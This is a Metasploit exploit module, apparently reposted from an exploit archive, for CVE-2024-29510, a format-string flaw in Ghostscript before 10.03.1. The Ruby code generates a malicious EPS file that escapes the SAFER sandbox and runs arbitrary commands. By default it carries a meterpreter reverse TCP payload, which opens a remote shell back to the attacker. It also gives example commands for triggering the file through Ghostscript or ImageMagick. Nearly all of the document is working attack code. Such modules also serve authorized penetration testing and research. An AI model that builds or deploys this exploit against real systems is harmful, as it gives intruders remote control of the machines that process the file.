Ghostscript Command Execution / Format String

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ghostscript Command Execution via Format String',  
'Description' => %q{  
This module exploits a format string vulnerability in Ghostscript  
versions before 10.03.1 to achieve a SAFER sandbox bypass and execute  
arbitrary commands. This vulnerability is reachable via libraries such as  
ImageMagick.  
  
This exploit only works against Ghostscript versions 10.03.0 and  
10.01.2. Some offsets adjustement will probably be needed to make it  
work with other versions.  
},  
'Author' => [  
'Thomas Rinsma', # Vuln discovery and PoC  
'Christophe De La fuente' # Metasploit module  
],  
'References' => [  
['CVE', '2024-29510'],  
['URL', 'https://bugs.ghostscript.com/show_bug.cgi?id=707662'],  
['URL', 'https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/']  
],  
'DisclosureDate' => '2024-03-14',  
'License' => MSF_LICENSE,  
'Platform' => ['unix', 'linux', 'win'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Linux Command',  
{  
'Arch' => ARCH_CMD,  
'Platform' => [ 'unix', 'linux' ],  
'DefaultOptions' => {  
# Payload is not set automatically when selecting this target.  
# Select a x64 fetch payload by default.  
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [ARTIFACTS_ON_DISK],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
  
register_options([  
OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps']),  
OptInt.new('INDEX_OUT_PTR', [true, 'Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)', 5])  
])  
end  
  
def exploit  
xploit = template.sub('MSF_PAYLOAD', payload.encoded)  
xploit = xploit.sub('MSF_IDXOUTPTR', datastore['INDEX_OUT_PTR'].to_s)  
  
file_create(xploit)  
print_good('You will need to start a handler for the selected payload first.')  
print_good("Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore['FILENAME']}")  
print_good("Example usage with ImageMagick: identify #{datastore['FILENAME']}")  
end  
  
def template  
xploit = File.read(File.join(  
Msf::Config.data_directory, 'exploits', 'CVE-2024-29510', 'ghostscript_format_string.eps'  
))  
  
# Remove comments  
xploit.gsub!(/\s*% .+$/, '')  
  
# Remove empty lines and lines with a single %  
xploit.gsub(/^%?$\n/, '')  
end  
  
end  
`